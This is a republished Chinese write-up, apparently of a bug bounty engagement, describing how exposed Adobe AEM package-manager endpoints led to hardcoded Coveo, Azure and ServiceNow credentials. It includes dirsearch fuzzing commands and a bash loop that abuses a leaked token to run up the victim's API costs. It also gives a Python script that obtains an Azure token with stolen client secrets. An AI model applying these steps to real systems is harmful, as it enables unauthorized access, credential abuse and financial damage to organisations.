当前位置: 首页 > article >正文

通过高效的侦察发现关键漏洞接管整个IT基础设施

  视频教程在我主页简介或专栏里

在这篇文章中, 我将深入探讨我是如何通过详细分析和利用暴露的端点、硬编码的凭据以及配置错误的访问控制,成功获取目标组织关键IT基础设施和云服务访问权限的全过程。

我们先提到目标网站的名称 https://*sub.domain*.com[1]

在我的主动侦察中,我发现目标使用 AEM 作为内容管理系统 (CMS),并且由 Java 驱动

图片

首先,我收集了用于 AEM CMS 和 JSP 的字典以及端点

然后,我进行了模糊测试 (fuzzing),并发现了一些有用的端点。

/crx/packmgr/index.jsp/etc.feed.xml/crx/bin.ext.json/crx/.ext.infinity.json

当我发现 /etc.feed.xml 时,找到了相关内容。

图片

然后引起我注意的是这个 URL:

https://sub.domain.com/etc/packages.feed.xml[2] 发现了许多包,这些包的格式如下:

https://sub.domain.com/etc/packages/{groupOfPackage}/{nameOfPackage}.zip

访问任何符合该格式的 URL 都可以下载任意包, 但在深入研究这些包后,没有发现任何有趣的内容

然后再次回到使用 JSP 字典对有趣的端点进行模糊测试。

dirsearch -u https://sub.domain.com/crx/packmgr/ --random-agent -i 200 -w jsp.txt

发现了这个端点:https://sub.domain.com**/crx/packmgr/service.jsp**

图片

我请我的朋友协助执行操作。然而,我们发现用户是 anonymous(匿名用户),除了通过添加 cmd 参数列出所有包之外,无法执行任何其他操作。

https://sub.domain.com/crx/packmgr/service.jsp?cmd=ls

图片

检索到约 1173 个包和约 100 个配置包。

想起可以使用以下格式下载这些包:

https://sub.domain.com/etc/packages/{groupOfPackage}/{nameOfPackage}.zip

于是,我编写了一个简单的脚本来下载所有包。然后,我深入研究了配置包发现了大量硬编码的凭据

1- 泄露了所有作者的邮箱

图片

2- Covo 服务配置(付费服务)

图片

for i in {1..10000}; do curl -X GET "https://platform.cloud.coveo.com/rest/search/v2?organizationId={clientId}&q=*" \ -H "Authorization: Bearer {accesstoken}" \ -H "Content-Type: application/json";done

我可以通过使用简单的 bash 脚本让组织损失大量资金,因为这个访问令牌是有效的。

3- 有效的凭据用于 API 管理并提供对托管在 https://sub3**.domain.com** 上的仓库的访问。**

图片

图片

4- ARIA-azure-凭据

图片

import requests
# Define the authentication parameterstenant_id = "{tenant_id}"client_id = "{client_id}"client_secret = "{client_secret}"scope = "https://sub.cloudapp.domain.com/.default"
# URL to get the OAuth tokentoken_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
# Define the request payloadpayload = { "grant_type": "client_credentials", "client_id": client_id, "client_secret": client_secret, "scope": scope}
# Make a POST request to get the tokenresponse = requests.post(token_url, data=payload)
# Check if the request was successfulif response.status_code == 200: # Parse the JSON response token_response = response.json() access_token = token_response.get("access_token") print("Access Token:", access_token)else: # If the request failed, print the error print("Failed to get the access token:", response.status_code, response.text)

这个 Python 脚本使用凭据检索 OAuth 访问令牌,以便与 api 交互,访问 https://sub.cloudapp.domain.com/

5- ServiceNow[3](IT 服务管理)

通过使用这些泄露的凭据,我拥有所有权限(创建、删除、编辑)

图片

图片

图片

图片

 

 视频教程在我主页简介或专栏里

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关

 


http://www.kler.cn/a/503285.html

相关文章:

  • Python----Python高级(函数基础,形参和实参,参数传递,全局变量和局部变量,匿名函数,递归函数,eval()函数,LEGB规则)
  • 第423场周赛:检测相邻递增子数组 Ⅰ、检测相邻递增子数组 Ⅱ、好子序列的元素之和、统计小于 N 的 K 可约简整数
  • lerna使用指南
  • 2_CSS3 背景 --[CSS3 进阶之路]
  • LeetCode 热题 100 | 滑动窗口
  • 零样本极速复刻语音!F5-TTS本地部署教程
  • MATLAB中rescale函数用法
  • 【Uniapp-Vue3】响应式单位rpx及搭配使用UI产品工具
  • 力扣56. 合并区间
  • API接口技术开发小红书笔记详情api采集笔记图片视频参数解析
  • 【STM32】HAL库USB实现软件升级DFU的功能操作及配置
  • 开发人员学习书籍推荐(C#、Python方向)
  • IDEA编译器集成Maven环境以及项目的创建(2)
  • centos修改/etc/resolv.conf 重启network后又恢复到原来的状态
  • 微服务之松耦合
  • 微信小程序:实现首页权限菜单效果
  • Java-数据结构-栈与队列(常考面试题与单调栈)
  • 自动化办公|xlwings简介
  • 在移动端开发图表,uniapp+echarts,需要特殊处理,使用renderjs
  • 思科 Java 开发人员面试记录 2024(Java、Spring-Boot、Hibernate)
  • Kali之环境变量技巧(Kali‘s Environmental Variable Skills)
  • docker 与K8s的恩怨情仇
  • 【Vue】mouted、created、computed区别
  • HTTP详解——HTTP基础
  • Python爬虫:结合requests和Cheerio处理网页内容
  • MyBatis实现数据库的CRUD